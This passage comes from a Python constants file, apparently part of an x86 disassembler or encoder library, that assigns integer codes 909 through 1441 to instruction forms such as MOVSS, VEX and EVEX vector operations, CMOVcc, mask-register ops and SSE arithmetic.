EVEX_VMOVSS_XMM_K1Z_M32: int = 909
MOVSD_XMM_XMMM64: int = 910
VEX_VMOVSD_XMM_XMM_XMM: int = 911
VEX_VMOVSD_XMM_M64: int = 912
EVEX_VMOVSD_XMM_K1Z_XMM_XMM: int = 913
EVEX_VMOVSD_XMM_K1Z_M64: int = 914
MOVUPS_XMMM128_XMM: int = 915
VEX_VMOVUPS_XMMM128_XMM: int = 916
VEX_VMOVUPS_YMMM256_YMM: int = 917
EVEX_VMOVUPS_XMMM128_K1Z_XMM: int = 918
EVEX_VMOVUPS_YMMM256_K1Z_YMM: int = 919
EVEX_VMOVUPS_ZMMM512_K1Z_ZMM: int = 920
MOVUPD_XMMM128_XMM: int = 921
VEX_VMOVUPD_XMMM128_XMM: int = 922
VEX_VMOVUPD_YMMM256_YMM: int = 923
EVEX_VMOVUPD_XMMM128_K1Z_XMM: int = 924
EVEX_VMOVUPD_YMMM256_K1Z_YMM: int = 925
EVEX_VMOVUPD_ZMMM512_K1Z_ZMM: int = 926
MOVSS_XMMM32_XMM: int = 927
VEX_VMOVSS_XMM_XMM_XMM_0F11: int = 928
VEX_VMOVSS_M32_XMM: int = 929
EVEX_VMOVSS_XMM_K1Z_XMM_XMM_0F11: int = 930
EVEX_VMOVSS_M32_K1_XMM: int = 931
MOVSD_XMMM64_XMM: int = 932
VEX_VMOVSD_XMM_XMM_XMM_0F11: int = 933
VEX_VMOVSD_M64_XMM: int = 934
EVEX_VMOVSD_XMM_K1Z_XMM_XMM_0F11: int = 935
EVEX_VMOVSD_M64_K1_XMM: int = 936
MOVHLPS_XMM_XMM: int = 937
MOVLPS_XMM_M64: int = 938
VEX_VMOVHLPS_XMM_XMM_XMM: int = 939
VEX_VMOVLPS_XMM_XMM_M64: int = 940
EVEX_VMOVHLPS_XMM_XMM_XMM: int = 941
EVEX_VMOVLPS_XMM_XMM_M64: int = 942
MOVLPD_XMM_M64: int = 943
VEX_VMOVLPD_XMM_XMM_M64: int = 944
EVEX_VMOVLPD_XMM_XMM_M64: int = 945
MOVSLDUP_XMM_XMMM128: int = 946
VEX_VMOVSLDUP_XMM_XMMM128: int = 947
VEX_VMOVSLDUP_YMM_YMMM256: int = 948
EVEX_VMOVSLDUP_XMM_K1Z_XMMM128: int = 949
EVEX_VMOVSLDUP_YMM_K1Z_YMMM256: int = 950
EVEX_VMOVSLDUP_ZMM_K1Z_ZMMM512: int = 951
MOVDDUP_XMM_XMMM64: int = 952
VEX_VMOVDDUP_XMM_XMMM64: int = 953
VEX_VMOVDDUP_YMM_YMMM256: int = 954
EVEX_VMOVDDUP_XMM_K1Z_XMMM64: int = 955
EVEX_VMOVDDUP_YMM_K1Z_YMMM256: int = 956
EVEX_VMOVDDUP_ZMM_K1Z_ZMMM512: int = 957
MOVLPS_M64_XMM: int = 958
VEX_VMOVLPS_M64_XMM: int = 959
EVEX_VMOVLPS_M64_XMM: int = 960
MOVLPD_M64_XMM: int = 961
VEX_VMOVLPD_M64_XMM: int = 962
EVEX_VMOVLPD_M64_XMM: int = 963
UNPCKLPS_XMM_XMMM128: int = 964
VEX_VUNPCKLPS_XMM_XMM_XMMM128: int = 965
VEX_VUNPCKLPS_YMM_YMM_YMMM256: int = 966
EVEX_VUNPCKLPS_XMM_K1Z_XMM_XMMM128B32: int = 967
EVEX_VUNPCKLPS_YMM_K1Z_YMM_YMMM256B32: int = 968
EVEX_VUNPCKLPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 969
UNPCKLPD_XMM_XMMM128: int = 970
VEX_VUNPCKLPD_XMM_XMM_XMMM128: int = 971
VEX_VUNPCKLPD_YMM_YMM_YMMM256: int = 972
EVEX_VUNPCKLPD_XMM_K1Z_XMM_XMMM128B64: int = 973
EVEX_VUNPCKLPD_YMM_K1Z_YMM_YMMM256B64: int = 974
EVEX_VUNPCKLPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 975
UNPCKHPS_XMM_XMMM128: int = 976
VEX_VUNPCKHPS_XMM_XMM_XMMM128: int = 977
VEX_VUNPCKHPS_YMM_YMM_YMMM256: int = 978
EVEX_VUNPCKHPS_XMM_K1Z_XMM_XMMM128B32: int = 979
EVEX_VUNPCKHPS_YMM_K1Z_YMM_YMMM256B32: int = 980
EVEX_VUNPCKHPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 981
UNPCKHPD_XMM_XMMM128: int = 982
VEX_VUNPCKHPD_XMM_XMM_XMMM128: int = 983
VEX_VUNPCKHPD_YMM_YMM_YMMM256: int = 984
EVEX_VUNPCKHPD_XMM_K1Z_XMM_XMMM128B64: int = 985
EVEX_VUNPCKHPD_YMM_K1Z_YMM_YMMM256B64: int = 986
EVEX_VUNPCKHPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 987
MOVLHPS_XMM_XMM: int = 988
VEX_VMOVLHPS_XMM_XMM_XMM: int = 989
EVEX_VMOVLHPS_XMM_XMM_XMM: int = 990
MOVHPS_XMM_M64: int = 991
VEX_VMOVHPS_XMM_XMM_M64: int = 992
EVEX_VMOVHPS_XMM_XMM_M64: int = 993
MOVHPD_XMM_M64: int = 994
VEX_VMOVHPD_XMM_XMM_M64: int = 995
EVEX_VMOVHPD_XMM_XMM_M64: int = 996
MOVSHDUP_XMM_XMMM128: int = 997
VEX_VMOVSHDUP_XMM_XMMM128: int = 998
VEX_VMOVSHDUP_YMM_YMMM256: int = 999
EVEX_VMOVSHDUP_XMM_K1Z_XMMM128: int = 1000
EVEX_VMOVSHDUP_YMM_K1Z_YMMM256: int = 1001
EVEX_VMOVSHDUP_ZMM_K1Z_ZMMM512: int = 1002
MOVHPS_M64_XMM: int = 1003
VEX_VMOVHPS_M64_XMM: int = 1004
EVEX_VMOVHPS_M64_XMM: int = 1005
MOVHPD_M64_XMM: int = 1006
VEX_VMOVHPD_M64_XMM: int = 1007
EVEX_VMOVHPD_M64_XMM: int = 1008
RESERVEDNOP_RM16_R16_0F18: int = 1009
RESERVEDNOP_RM32_R32_0F18: int = 1010
RESERVEDNOP_RM64_R64_0F18: int = 1011
RESERVEDNOP_RM16_R16_0F19: int = 1012
RESERVEDNOP_RM32_R32_0F19: int = 1013
RESERVEDNOP_RM64_R64_0F19: int = 1014
RESERVEDNOP_RM16_R16_0F1A: int = 1015
RESERVEDNOP_RM32_R32_0F1A: int = 1016
RESERVEDNOP_RM64_R64_0F1A: int = 1017
RESERVEDNOP_RM16_R16_0F1B: int = 1018
RESERVEDNOP_RM32_R32_0F1B: int = 1019
RESERVEDNOP_RM64_R64_0F1B: int = 1020
RESERVEDNOP_RM16_R16_0F1C: int = 1021
RESERVEDNOP_RM32_R32_0F1C: int = 1022
RESERVEDNOP_RM64_R64_0F1C: int = 1023
RESERVEDNOP_RM16_R16_0F1D: int = 1024
RESERVEDNOP_RM32_R32_0F1D: int = 1025
RESERVEDNOP_RM64_R64_0F1D: int = 1026
RESERVEDNOP_RM16_R16_0F1E: int = 1027
RESERVEDNOP_RM32_R32_0F1E: int = 1028
RESERVEDNOP_RM64_R64_0F1E: int = 1029
RESERVEDNOP_RM16_R16_0F1F: int = 1030
RESERVEDNOP_RM32_R32_0F1F: int = 1031
RESERVEDNOP_RM64_R64_0F1F: int = 1032
PREFETCHNTA_M8: int = 1033
PREFETCHT0_M8: int = 1034
PREFETCHT1_M8: int = 1035
PREFETCHT2_M8: int = 1036
BNDLDX_BND_MIB: int = 1037
BNDMOV_BND_BNDM64: int = 1038
BNDMOV_BND_BNDM128: int = 1039
BNDCL_BND_RM32: int = 1040
BNDCL_BND_RM64: int = 1041
BNDCU_BND_RM32: int = 1042
BNDCU_BND_RM64: int = 1043
BNDSTX_MIB_BND: int = 1044
BNDMOV_BNDM64_BND: int = 1045
BNDMOV_BNDM128_BND: int = 1046
BNDMK_BND_M32: int = 1047
BNDMK_BND_M64: int = 1048
BNDCN_BND_RM32: int = 1049
BNDCN_BND_RM64: int = 1050
CLDEMOTE_M8: int = 1051
RDSSPD_R32: int = 1052
RDSSPQ_R64: int = 1053
ENDBR64: int = 1054
ENDBR32: int = 1055
NOP_RM16: int = 1056
NOP_RM32: int = 1057
NOP_RM64: int = 1058
MOV_R32_CR: int = 1059
MOV_R64_CR: int = 1060
MOV_R32_DR: int = 1061
MOV_R64_DR: int = 1062
MOV_CR_R32: int = 1063
MOV_CR_R64: int = 1064
MOV_DR_R32: int = 1065
MOV_DR_R64: int = 1066
MOV_R32_TR: int = 1067
MOV_TR_R32: int = 1068
MOVAPS_XMM_XMMM128: int = 1069
VEX_VMOVAPS_XMM_XMMM128: int = 1070
VEX_VMOVAPS_YMM_YMMM256: int = 1071
EVEX_VMOVAPS_XMM_K1Z_XMMM128: int = 1072
EVEX_VMOVAPS_YMM_K1Z_YMMM256: int = 1073
EVEX_VMOVAPS_ZMM_K1Z_ZMMM512: int = 1074
MOVAPD_XMM_XMMM128: int = 1075
VEX_VMOVAPD_XMM_XMMM128: int = 1076
VEX_VMOVAPD_YMM_YMMM256: int = 1077
EVEX_VMOVAPD_XMM_K1Z_XMMM128: int = 1078
EVEX_VMOVAPD_YMM_K1Z_YMMM256: int = 1079
EVEX_VMOVAPD_ZMM_K1Z_ZMMM512: int = 1080
MOVAPS_XMMM128_XMM: int = 1081
VEX_VMOVAPS_XMMM128_XMM: int = 1082
VEX_VMOVAPS_YMMM256_YMM: int = 1083
EVEX_VMOVAPS_XMMM128_K1Z_XMM: int = 1084
EVEX_VMOVAPS_YMMM256_K1Z_YMM: int = 1085
EVEX_VMOVAPS_ZMMM512_K1Z_ZMM: int = 1086
MOVAPD_XMMM128_XMM: int = 1087
VEX_VMOVAPD_XMMM128_XMM: int = 1088
VEX_VMOVAPD_YMMM256_YMM: int = 1089
EVEX_VMOVAPD_XMMM128_K1Z_XMM: int = 1090
EVEX_VMOVAPD_YMMM256_K1Z_YMM: int = 1091
EVEX_VMOVAPD_ZMMM512_K1Z_ZMM: int = 1092
CVTPI2PS_XMM_MMM64: int = 1093
CVTPI2PD_XMM_MMM64: int = 1094
CVTSI2SS_XMM_RM32: int = 1095
CVTSI2SS_XMM_RM64: int = 1096
VEX_VCVTSI2SS_XMM_XMM_RM32: int = 1097
VEX_VCVTSI2SS_XMM_XMM_RM64: int = 1098
EVEX_VCVTSI2SS_XMM_XMM_RM32_ER: int = 1099
EVEX_VCVTSI2SS_XMM_XMM_RM64_ER: int = 1100
CVTSI2SD_XMM_RM32: int = 1101
CVTSI2SD_XMM_RM64: int = 1102
VEX_VCVTSI2SD_XMM_XMM_RM32: int = 1103
VEX_VCVTSI2SD_XMM_XMM_RM64: int = 1104
EVEX_VCVTSI2SD_XMM_XMM_RM32_ER: int = 1105
EVEX_VCVTSI2SD_XMM_XMM_RM64_ER: int = 1106
MOVNTPS_M128_XMM: int = 1107
VEX_VMOVNTPS_M128_XMM: int = 1108
VEX_VMOVNTPS_M256_YMM: int = 1109
EVEX_VMOVNTPS_M128_XMM: int = 1110
EVEX_VMOVNTPS_M256_YMM: int = 1111
EVEX_VMOVNTPS_M512_ZMM: int = 1112
MOVNTPD_M128_XMM: int = 1113
VEX_VMOVNTPD_M128_XMM: int = 1114
VEX_VMOVNTPD_M256_YMM: int = 1115
EVEX_VMOVNTPD_M128_XMM: int = 1116
EVEX_VMOVNTPD_M256_YMM: int = 1117
EVEX_VMOVNTPD_M512_ZMM: int = 1118
MOVNTSS_M32_XMM: int = 1119
MOVNTSD_M64_XMM: int = 1120
CVTTPS2PI_MM_XMMM64: int = 1121
CVTTPD2PI_MM_XMMM128: int = 1122
CVTTSS2SI_R32_XMMM32: int = 1123
CVTTSS2SI_R64_XMMM32: int = 1124
VEX_VCVTTSS2SI_R32_XMMM32: int = 1125
VEX_VCVTTSS2SI_R64_XMMM32: int = 1126
EVEX_VCVTTSS2SI_R32_XMMM32_SAE: int = 1127
EVEX_VCVTTSS2SI_R64_XMMM32_SAE: int = 1128
CVTTSD2SI_R32_XMMM64: int = 1129
CVTTSD2SI_R64_XMMM64: int = 1130
VEX_VCVTTSD2SI_R32_XMMM64: int = 1131
VEX_VCVTTSD2SI_R64_XMMM64: int = 1132
EVEX_VCVTTSD2SI_R32_XMMM64_SAE: int = 1133
EVEX_VCVTTSD2SI_R64_XMMM64_SAE: int = 1134
CVTPS2PI_MM_XMMM64: int = 1135
CVTPD2PI_MM_XMMM128: int = 1136
CVTSS2SI_R32_XMMM32: int = 1137
CVTSS2SI_R64_XMMM32: int = 1138
VEX_VCVTSS2SI_R32_XMMM32: int = 1139
VEX_VCVTSS2SI_R64_XMMM32: int = 1140
EVEX_VCVTSS2SI_R32_XMMM32_ER: int = 1141
EVEX_VCVTSS2SI_R64_XMMM32_ER: int = 1142
CVTSD2SI_R32_XMMM64: int = 1143
CVTSD2SI_R64_XMMM64: int = 1144
VEX_VCVTSD2SI_R32_XMMM64: int = 1145
VEX_VCVTSD2SI_R64_XMMM64: int = 1146
EVEX_VCVTSD2SI_R32_XMMM64_ER: int = 1147
EVEX_VCVTSD2SI_R64_XMMM64_ER: int = 1148
UCOMISS_XMM_XMMM32: int = 1149
VEX_VUCOMISS_XMM_XMMM32: int = 1150
EVEX_VUCOMISS_XMM_XMMM32_SAE: int = 1151
UCOMISD_XMM_XMMM64: int = 1152
VEX_VUCOMISD_XMM_XMMM64: int = 1153
EVEX_VUCOMISD_XMM_XMMM64_SAE: int = 1154
COMISS_XMM_XMMM32: int = 1155
COMISD_XMM_XMMM64: int = 1156
VEX_VCOMISS_XMM_XMMM32: int = 1157
VEX_VCOMISD_XMM_XMMM64: int = 1158
EVEX_VCOMISS_XMM_XMMM32_SAE: int = 1159
EVEX_VCOMISD_XMM_XMMM64_SAE: int = 1160
WRMSR: int = 1161
RDTSC: int = 1162
RDMSR: int = 1163
RDPMC: int = 1164
SYSENTER: int = 1165
SYSEXITD: int = 1166
SYSEXITQ: int = 1167
GETSECD: int = 1168
CMOVO_R16_RM16: int = 1169
CMOVO_R32_RM32: int = 1170
CMOVO_R64_RM64: int = 1171
CMOVNO_R16_RM16: int = 1172
CMOVNO_R32_RM32: int = 1173
CMOVNO_R64_RM64: int = 1174
CMOVB_R16_RM16: int = 1175
CMOVB_R32_RM32: int = 1176
CMOVB_R64_RM64: int = 1177
CMOVAE_R16_RM16: int = 1178
CMOVAE_R32_RM32: int = 1179
CMOVAE_R64_RM64: int = 1180
CMOVE_R16_RM16: int = 1181
CMOVE_R32_RM32: int = 1182
CMOVE_R64_RM64: int = 1183
CMOVNE_R16_RM16: int = 1184
CMOVNE_R32_RM32: int = 1185
CMOVNE_R64_RM64: int = 1186
CMOVBE_R16_RM16: int = 1187
CMOVBE_R32_RM32: int = 1188
CMOVBE_R64_RM64: int = 1189
CMOVA_R16_RM16: int = 1190
CMOVA_R32_RM32: int = 1191
CMOVA_R64_RM64: int = 1192
CMOVS_R16_RM16: int = 1193
CMOVS_R32_RM32: int = 1194
CMOVS_R64_RM64: int = 1195
CMOVNS_R16_RM16: int = 1196
CMOVNS_R32_RM32: int = 1197
CMOVNS_R64_RM64: int = 1198
CMOVP_R16_RM16: int = 1199
CMOVP_R32_RM32: int = 1200
CMOVP_R64_RM64: int = 1201
CMOVNP_R16_RM16: int = 1202
CMOVNP_R32_RM32: int = 1203
CMOVNP_R64_RM64: int = 1204
CMOVL_R16_RM16: int = 1205
CMOVL_R32_RM32: int = 1206
CMOVL_R64_RM64: int = 1207
CMOVGE_R16_RM16: int = 1208
CMOVGE_R32_RM32: int = 1209
CMOVGE_R64_RM64: int = 1210
CMOVLE_R16_RM16: int = 1211
CMOVLE_R32_RM32: int = 1212
CMOVLE_R64_RM64: int = 1213
CMOVG_R16_RM16: int = 1214
CMOVG_R32_RM32: int = 1215
CMOVG_R64_RM64: int = 1216
VEX_KANDW_KR_KR_KR: int = 1217
VEX_KANDQ_KR_KR_KR: int = 1218
VEX_KANDB_KR_KR_KR: int = 1219
VEX_KANDD_KR_KR_KR: int = 1220
VEX_KANDNW_KR_KR_KR: int = 1221
VEX_KANDNQ_KR_KR_KR: int = 1222
VEX_KANDNB_KR_KR_KR: int = 1223
VEX_KANDND_KR_KR_KR: int = 1224
VEX_KNOTW_KR_KR: int = 1225
VEX_KNOTQ_KR_KR: int = 1226
VEX_KNOTB_KR_KR: int = 1227
VEX_KNOTD_KR_KR: int = 1228
VEX_KORW_KR_KR_KR: int = 1229
VEX_KORQ_KR_KR_KR: int = 1230
VEX_KORB_KR_KR_KR: int = 1231
VEX_KORD_KR_KR_KR: int = 1232
VEX_KXNORW_KR_KR_KR: int = 1233
VEX_KXNORQ_KR_KR_KR: int = 1234
VEX_KXNORB_KR_KR_KR: int = 1235
VEX_KXNORD_KR_KR_KR: int = 1236
VEX_KXORW_KR_KR_KR: int = 1237
VEX_KXORQ_KR_KR_KR: int = 1238
VEX_KXORB_KR_KR_KR: int = 1239
VEX_KXORD_KR_KR_KR: int = 1240
VEX_KADDW_KR_KR_KR: int = 1241
VEX_KADDQ_KR_KR_KR: int = 1242
VEX_KADDB_KR_KR_KR: int = 1243
VEX_KADDD_KR_KR_KR: int = 1244
VEX_KUNPCKWD_KR_KR_KR: int = 1245
VEX_KUNPCKDQ_KR_KR_KR: int = 1246
VEX_KUNPCKBW_KR_KR_KR: int = 1247
MOVMSKPS_R32_XMM: int = 1248
MOVMSKPS_R64_XMM: int = 1249
VEX_VMOVMSKPS_R32_XMM: int = 1250
VEX_VMOVMSKPS_R64_XMM: int = 1251
VEX_VMOVMSKPS_R32_YMM: int = 1252
VEX_VMOVMSKPS_R64_YMM: int = 1253
MOVMSKPD_R32_XMM: int = 1254
MOVMSKPD_R64_XMM: int = 1255
VEX_VMOVMSKPD_R32_XMM: int = 1256
VEX_VMOVMSKPD_R64_XMM: int = 1257
VEX_VMOVMSKPD_R32_YMM: int = 1258
VEX_VMOVMSKPD_R64_YMM: int = 1259
SQRTPS_XMM_XMMM128: int = 1260
VEX_VSQRTPS_XMM_XMMM128: int = 1261
VEX_VSQRTPS_YMM_YMMM256: int = 1262
EVEX_VSQRTPS_XMM_K1Z_XMMM128B32: int = 1263
EVEX_VSQRTPS_YMM_K1Z_YMMM256B32: int = 1264
EVEX_VSQRTPS_ZMM_K1Z_ZMMM512B32_ER: int = 1265
SQRTPD_XMM_XMMM128: int = 1266
VEX_VSQRTPD_XMM_XMMM128: int = 1267
VEX_VSQRTPD_YMM_YMMM256: int = 1268
EVEX_VSQRTPD_XMM_K1Z_XMMM128B64: int = 1269
EVEX_VSQRTPD_YMM_K1Z_YMMM256B64: int = 1270
EVEX_VSQRTPD_ZMM_K1Z_ZMMM512B64_ER: int = 1271
SQRTSS_XMM_XMMM32: int = 1272
VEX_VSQRTSS_XMM_XMM_XMMM32: int = 1273
EVEX_VSQRTSS_XMM_K1Z_XMM_XMMM32_ER: int = 1274
SQRTSD_XMM_XMMM64: int = 1275
VEX_VSQRTSD_XMM_XMM_XMMM64: int = 1276
EVEX_VSQRTSD_XMM_K1Z_XMM_XMMM64_ER: int = 1277
RSQRTPS_XMM_XMMM128: int = 1278
VEX_VRSQRTPS_XMM_XMMM128: int = 1279
VEX_VRSQRTPS_YMM_YMMM256: int = 1280
RSQRTSS_XMM_XMMM32: int = 1281
VEX_VRSQRTSS_XMM_XMM_XMMM32: int = 1282
RCPPS_XMM_XMMM128: int = 1283
VEX_VRCPPS_XMM_XMMM128: int = 1284
VEX_VRCPPS_YMM_YMMM256: int = 1285
RCPSS_XMM_XMMM32: int = 1286
VEX_VRCPSS_XMM_XMM_XMMM32: int = 1287
ANDPS_XMM_XMMM128: int = 1288
VEX_VANDPS_XMM_XMM_XMMM128: int = 1289
VEX_VANDPS_YMM_YMM_YMMM256: int = 1290
EVEX_VANDPS_XMM_K1Z_XMM_XMMM128B32: int = 1291
EVEX_VANDPS_YMM_K1Z_YMM_YMMM256B32: int = 1292
EVEX_VANDPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1293
ANDPD_XMM_XMMM128: int = 1294
VEX_VANDPD_XMM_XMM_XMMM128: int = 1295
VEX_VANDPD_YMM_YMM_YMMM256: int = 1296
EVEX_VANDPD_XMM_K1Z_XMM_XMMM128B64: int = 1297
EVEX_VANDPD_YMM_K1Z_YMM_YMMM256B64: int = 1298
EVEX_VANDPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1299
ANDNPS_XMM_XMMM128: int = 1300
VEX_VANDNPS_XMM_XMM_XMMM128: int = 1301
VEX_VANDNPS_YMM_YMM_YMMM256: int = 1302
EVEX_VANDNPS_XMM_K1Z_XMM_XMMM128B32: int = 1303
EVEX_VANDNPS_YMM_K1Z_YMM_YMMM256B32: int = 1304
EVEX_VANDNPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1305
ANDNPD_XMM_XMMM128: int = 1306
VEX_VANDNPD_XMM_XMM_XMMM128: int = 1307
VEX_VANDNPD_YMM_YMM_YMMM256: int = 1308
EVEX_VANDNPD_XMM_K1Z_XMM_XMMM128B64: int = 1309
EVEX_VANDNPD_YMM_K1Z_YMM_YMMM256B64: int = 1310
EVEX_VANDNPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1311
ORPS_XMM_XMMM128: int = 1312
VEX_VORPS_XMM_XMM_XMMM128: int = 1313
VEX_VORPS_YMM_YMM_YMMM256: int = 1314
EVEX_VORPS_XMM_K1Z_XMM_XMMM128B32: int = 1315
EVEX_VORPS_YMM_K1Z_YMM_YMMM256B32: int = 1316
EVEX_VORPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1317
ORPD_XMM_XMMM128: int = 1318
VEX_VORPD_XMM_XMM_XMMM128: int = 1319
VEX_VORPD_YMM_YMM_YMMM256: int = 1320
EVEX_VORPD_XMM_K1Z_XMM_XMMM128B64: int = 1321
EVEX_VORPD_YMM_K1Z_YMM_YMMM256B64: int = 1322
EVEX_VORPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1323
XORPS_XMM_XMMM128: int = 1324
VEX_VXORPS_XMM_XMM_XMMM128: int = 1325
VEX_VXORPS_YMM_YMM_YMMM256: int = 1326
EVEX_VXORPS_XMM_K1Z_XMM_XMMM128B32: int = 1327
EVEX_VXORPS_YMM_K1Z_YMM_YMMM256B32: int = 1328
EVEX_VXORPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1329
XORPD_XMM_XMMM128: int = 1330
VEX_VXORPD_XMM_XMM_XMMM128: int = 1331
VEX_VXORPD_YMM_YMM_YMMM256: int = 1332
EVEX_VXORPD_XMM_K1Z_XMM_XMMM128B64: int = 1333
EVEX_VXORPD_YMM_K1Z_YMM_YMMM256B64: int = 1334
EVEX_VXORPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1335
ADDPS_XMM_XMMM128: int = 1336
VEX_VADDPS_XMM_XMM_XMMM128: int = 1337
VEX_VADDPS_YMM_YMM_YMMM256: int = 1338
EVEX_VADDPS_XMM_K1Z_XMM_XMMM128B32: int = 1339
EVEX_VADDPS_YMM_K1Z_YMM_YMMM256B32: int = 1340
EVEX_VADDPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1341
ADDPD_XMM_XMMM128: int = 1342
VEX_VADDPD_XMM_XMM_XMMM128: int = 1343
VEX_VADDPD_YMM_YMM_YMMM256: int = 1344
EVEX_VADDPD_XMM_K1Z_XMM_XMMM128B64: int = 1345
EVEX_VADDPD_YMM_K1Z_YMM_YMMM256B64: int = 1346
EVEX_VADDPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1347
ADDSS_XMM_XMMM32: int = 1348
VEX_VADDSS_XMM_XMM_XMMM32: int = 1349
EVEX_VADDSS_XMM_K1Z_XMM_XMMM32_ER: int = 1350
ADDSD_XMM_XMMM64: int = 1351
VEX_VADDSD_XMM_XMM_XMMM64: int = 1352
EVEX_VADDSD_XMM_K1Z_XMM_XMMM64_ER: int = 1353
MULPS_XMM_XMMM128: int = 1354
VEX_VMULPS_XMM_XMM_XMMM128: int = 1355
VEX_VMULPS_YMM_YMM_YMMM256: int = 1356
EVEX_VMULPS_XMM_K1Z_XMM_XMMM128B32: int = 1357
EVEX_VMULPS_YMM_K1Z_YMM_YMMM256B32: int = 1358
EVEX_VMULPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1359
MULPD_XMM_XMMM128: int = 1360
VEX_VMULPD_XMM_XMM_XMMM128: int = 1361
VEX_VMULPD_YMM_YMM_YMMM256: int = 1362
EVEX_VMULPD_XMM_K1Z_XMM_XMMM128B64: int = 1363
EVEX_VMULPD_YMM_K1Z_YMM_YMMM256B64: int = 1364
EVEX_VMULPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1365
MULSS_XMM_XMMM32: int = 1366
VEX_VMULSS_XMM_XMM_XMMM32: int = 1367
EVEX_VMULSS_XMM_K1Z_XMM_XMMM32_ER: int = 1368
MULSD_XMM_XMMM64: int = 1369
VEX_VMULSD_XMM_XMM_XMMM64: int = 1370
EVEX_VMULSD_XMM_K1Z_XMM_XMMM64_ER: int = 1371
CVTPS2PD_XMM_XMMM64: int = 1372
VEX_VCVTPS2PD_XMM_XMMM64: int = 1373
VEX_VCVTPS2PD_YMM_XMMM128: int = 1374
EVEX_VCVTPS2PD_XMM_K1Z_XMMM64B32: int = 1375
EVEX_VCVTPS2PD_YMM_K1Z_XMMM128B32: int = 1376
EVEX_VCVTPS2PD_ZMM_K1Z_YMMM256B32_SAE: int = 1377
CVTPD2PS_XMM_XMMM128: int = 1378
VEX_VCVTPD2PS_XMM_XMMM128: int = 1379
VEX_VCVTPD2PS_XMM_YMMM256: int = 1380
EVEX_VCVTPD2PS_XMM_K1Z_XMMM128B64: int = 1381
EVEX_VCVTPD2PS_XMM_K1Z_YMMM256B64: int = 1382
EVEX_VCVTPD2PS_YMM_K1Z_ZMMM512B64_ER: int = 1383
CVTSS2SD_XMM_XMMM32: int = 1384
VEX_VCVTSS2SD_XMM_XMM_XMMM32: int = 1385
EVEX_VCVTSS2SD_XMM_K1Z_XMM_XMMM32_SAE: int = 1386
CVTSD2SS_XMM_XMMM64: int = 1387
VEX_VCVTSD2SS_XMM_XMM_XMMM64: int = 1388
EVEX_VCVTSD2SS_XMM_K1Z_XMM_XMMM64_ER: int = 1389
CVTDQ2PS_XMM_XMMM128: int = 1390
VEX_VCVTDQ2PS_XMM_XMMM128: int = 1391
VEX_VCVTDQ2PS_YMM_YMMM256: int = 1392
EVEX_VCVTDQ2PS_XMM_K1Z_XMMM128B32: int = 1393
EVEX_VCVTDQ2PS_YMM_K1Z_YMMM256B32: int = 1394
EVEX_VCVTDQ2PS_ZMM_K1Z_ZMMM512B32_ER: int = 1395
EVEX_VCVTQQ2PS_XMM_K1Z_XMMM128B64: int = 1396
EVEX_VCVTQQ2PS_XMM_K1Z_YMMM256B64: int = 1397
EVEX_VCVTQQ2PS_YMM_K1Z_ZMMM512B64_ER: int = 1398
CVTPS2DQ_XMM_XMMM128: int = 1399
VEX_VCVTPS2DQ_XMM_XMMM128: int = 1400
VEX_VCVTPS2DQ_YMM_YMMM256: int = 1401
EVEX_VCVTPS2DQ_XMM_K1Z_XMMM128B32: int = 1402
EVEX_VCVTPS2DQ_YMM_K1Z_YMMM256B32: int = 1403
EVEX_VCVTPS2DQ_ZMM_K1Z_ZMMM512B32_ER: int = 1404
CVTTPS2DQ_XMM_XMMM128: int = 1405
VEX_VCVTTPS2DQ_XMM_XMMM128: int = 1406
VEX_VCVTTPS2DQ_YMM_YMMM256: int = 1407
EVEX_VCVTTPS2DQ_XMM_K1Z_XMMM128B32: int = 1408
EVEX_VCVTTPS2DQ_YMM_K1Z_YMMM256B32: int = 1409
EVEX_VCVTTPS2DQ_ZMM_K1Z_ZMMM512B32_SAE: int = 1410
SUBPS_XMM_XMMM128: int = 1411
VEX_VSUBPS_XMM_XMM_XMMM128: int = 1412
VEX_VSUBPS_YMM_YMM_YMMM256: int = 1413
EVEX_VSUBPS_XMM_K1Z_XMM_XMMM128B32: int = 1414
EVEX_VSUBPS_YMM_K1Z_YMM_YMMM256B32: int = 1415
EVEX_VSUBPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1416
SUBPD_XMM_XMMM128: int = 1417
VEX_VSUBPD_XMM_XMM_XMMM128: int = 1418
VEX_VSUBPD_YMM_YMM_YMMM256: int = 1419
EVEX_VSUBPD_XMM_K1Z_XMM_XMMM128B64: int = 1420
EVEX_VSUBPD_YMM_K1Z_YMM_YMMM256B64: int = 1421
EVEX_VSUBPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1422
SUBSS_XMM_XMMM32: int = 1423
VEX_VSUBSS_XMM_XMM_XMMM32: int = 1424
EVEX_VSUBSS_XMM_K1Z_XMM_XMMM32_ER: int = 1425
SUBSD_XMM_XMMM64: int = 1426
VEX_VSUBSD_XMM_XMM_XMMM64: int = 1427
EVEX_VSUBSD_XMM_K1Z_XMM_XMMM64_ER: int = 1428
MINPS_XMM_XMMM128: int = 1429
VEX_VMINPS_XMM_XMM_XMMM128: int = 1430
VEX_VMINPS_YMM_YMM_YMMM256: int = 1431
EVEX_VMINPS_XMM_K1Z_XMM_XMMM128B32: int = 1432
EVEX_VMINPS_YMM_K1Z_YMM_YMMM256B32: int = 1433
EVEX_VMINPS_ZMM_K1Z_ZMM_ZMMM512B32_SAE: int = 1434
MINPD_XMM_XMMM128: int = 1435
VEX_VMINPD_XMM_XMM_XMMM128: int = 1436
VEX_VMINPD_YMM_YMM_YMMM256: int = 1437
EVEX_VMINPD_XMM_K1Z_XMM_XMMM128B64: int = 1438
EVEX_VMINPD_YMM_K1Z_YMM_YMMM256B64: int = 1439
EVEX_VMINPD_ZMM_K1Z_ZMM_ZMMM512B64_SAE: int = 1440
MINSS_XMM_XMMM32: int = 1441
